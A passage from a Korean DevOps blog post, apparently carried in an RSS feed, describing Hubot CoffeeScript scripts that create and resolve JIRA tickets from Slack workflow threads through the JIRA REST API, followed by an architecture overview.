  robot.brain.set 'totalSodas', 0
  msg.reply 'zzzzz'

</code></pre>

<h2>4. hubot 기능 구현</h2>

필자가 최초 생각했던 것처럼, Slack W/F와 연계하여 각 개발팀에서 DevOps를 통한 문의 및 요청들이 접수되면, 해당 내용을 기반으로 Hubot이 JIRA에 Ticket을 생성하고 해당 Ticket을 링크로 응답 합니다.

또한, 작업이 모두 완료된 이후로는 emoji를 설정하였을때, 작업을 종료하도록 구성하고자 합니다.

<h3>4-1. JIRA 자동 등록</h3>

JIRA에 자동 등록을 하기 위해서는 JIRA의 API를 활용해야 합니다.

<a class="wp-editor-md-post-content-link" href="https://developer.atlassian.com/server/jira/platform/jira-rest-api-examples/" target="_blank" rel="noopener">Jira Rest API 문서</a>

간단하게 JSON 구조를 만들어서 http request를 한 뒤, 결과를 parsing하여 massage로 다시 return해주는 구조입니다. 그렇게 되면, Slack의 Thread 상에서 티켓의 링크를 확인할 수 있습니다.

<pre><code class="language-coffeescript line-numbers">module.exports = (robot) ->
  robot.respond /create TICKET(.*)/i, (msg) ->

    threadId = getThreadId(msg);
    title = ''
    for line in msg.message.text.split(/\r?\n/)
      console.log (line)
      if line.indexOf("*Summary : *") != -1
        title = line.replace /\*Summary \:\*/, ""
    if title == ''
      msg.send 'Faild to get the subject'
      return
    json =
      fields:
        project:
          key: "LNDO"
        summary: title,
        description: msg.message.text,
        issuetype:
          name: "_Task"
        labels: ["help_devops_thread"]
    json = JSON.stringify(json)    

    create_query = btsBaseUrl + "/rest/api/2/issue"
    auth = btoa("#{user}:#{password}")

    msg.http(create_query)
      .headers(Authorization: "Basic #{auth}", 'Content-Type': 'application/json')
      .post(json) (err, res, body) ->
        issueName = undefined
        if body
          returnJson = JSON.parse(body)
          if returnJson.hasOwnProperty('key')
            issueName = returnJson.key
        if err
          console.log 'Error!'
          console.log err
        if issueName == undefined
          console.log res
          msg.send 'Error on creation issue on BTS'
        else
          link = '<https://jira.test.com/browse/' + issueName + '|' + issueName + '>'
          msg.send 'Create TICKET at ' + link
          threadCache[threadId] = {'lastUpdate': Date.now(), 'fsUpdate': Date.now(), 'BTS': issueName}
          fs.writeFileSync(threadDir + threadId, JSON.stringify(threadCache[threadId]))
</code></pre>

<h3>4-2. JIRA 상태 업데이트</h3>

Slack을 통해서 일감 처리가 완료되면, 이모지(DONE)를 통해서 해당 요청이 종료되었다는 것을 표기하였습니다. 그러다보니 명확하게 티켓과 동기화가 되지 않았었습니다. 이러한 부분을 이모지를 인식해서 티켓의 상태를 업데이트(Resolve)처리를 하도록 구성했습니다.

<pre><code class="language-coffeescript line-numbers">robot.respond /(.*)resolve TICKET(.*)/i, (msg) ->
    threadId = getThreadId(msg);
    getThreadCache(threadId);

    json =
      transition:
        id: "21"
      fields:
        resolution:
          name: "Done"
    json = JSON.stringify(json)

    BTS = threadCache[threadId]['BTS']
    resolve_query = btsBaseUrl + '/rest/api/2/issue/' + BTS + '/transitions?expand=transitions.fields&transitionId=21'
    auth = btoa("#{user}:#{password}")

    msg.http(resolve_query)
      .headers(Authorization: "Basic #{auth}", 'Content-Type': 'application/json')
      .post(json) (err, res, body) ->
        if body
          returnJson = JSON.parse(body)
          console.log(returnJson)
        if err
          console.log err
          msg.send 'There is an error reolsve ticket!'
        else
          link = '<https://jira.test.com/browse/' + BTS + '|' + BTS + '>'
          msg.send 'Cloase BTS  at ' + link
          threadCache[threadId] = {'lastUpdate': Date.now(), 'fsUpdate': Date.now(), 'BTS': BTS}
          fs.writeFileSync(threadDir + threadId, JSON.stringify(threadCache[threadId]))
</code></pre>

<h2>5. hubot 구성도</h2>

<img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.com/wp-content/uploads/2023/05/hubot_2.png?w=1200&#038;ssl=1" alt="DevOps Hubot 적용기 설명 이미지 2" />

전체적인 구성도는 위와 같습니다.

<ul>
<li>Request Layer : Slack W/F를 통해서 요청하는 영역</li>
<li>Slack - Hubot Layer : Slack의 W/F를 분석하여 Hubot 스크립트를 수행하는 영역</li>
<li>InfraStructure Layer : Hubot과 연계되는 Tools가 위치하는 영역</li>
</ul>

이번에 정리된 기준으로는 Jira의 Ticket을 생성하고 종료하는 내용이였습니다. 추후에는 기능을 좀더 강화 할 예정입니다.

<h2>6. 마치며..</h2>

이번시간에는 Slack W/F와 Hubot을 연계하여 업무를 자동화했던 내용을 정리해보았습니다. DevOps업무를 하면서 자동화 처리를 통하여 좀더 효율적으로 일하는 문화를 배울 수 있었고, 특히나 업무 자체를 코드화 시키고, 프로세스화 시키니까 처리하기가 좀더 수월했던 것 같습니다.

다음시간에는 Hubot의 좀더 강화된 기능을 사용하는 내용으로 찾아뵙겠습니다.
<h2 class="wp-block-heading">함께 보면 좋은 글</h2>
<ul class="wp-block-list"><li><a href="https://blog.wonizz.com/2021/09/01/kubeadm-pod-cidr-change/">[DevOps] kubeadm upgrade를 통한 pod cidr 변경</a></li><li><a href="https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/">[DevOps] Nginx Rate Limit</a></li><li><a href="https://blog.wonizz.com/2023/05/09/devops-k8s-monitoring-with-datadog/">[DevOps] k8s monitoring with Datadog</a></li><li><a href="https://blog.wonizz.com/2023/05/08/devops-istio-virtualhost/">[DevOps] Istio virtualhost 사용법</a></li></ul>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/05/11/devops-hubot-automation-1/">[DevOps] Hubot 적용기</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2023/05/11/devops-hubot-automation-1/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2037</post-id>	</item>
	</channel>
</rss>
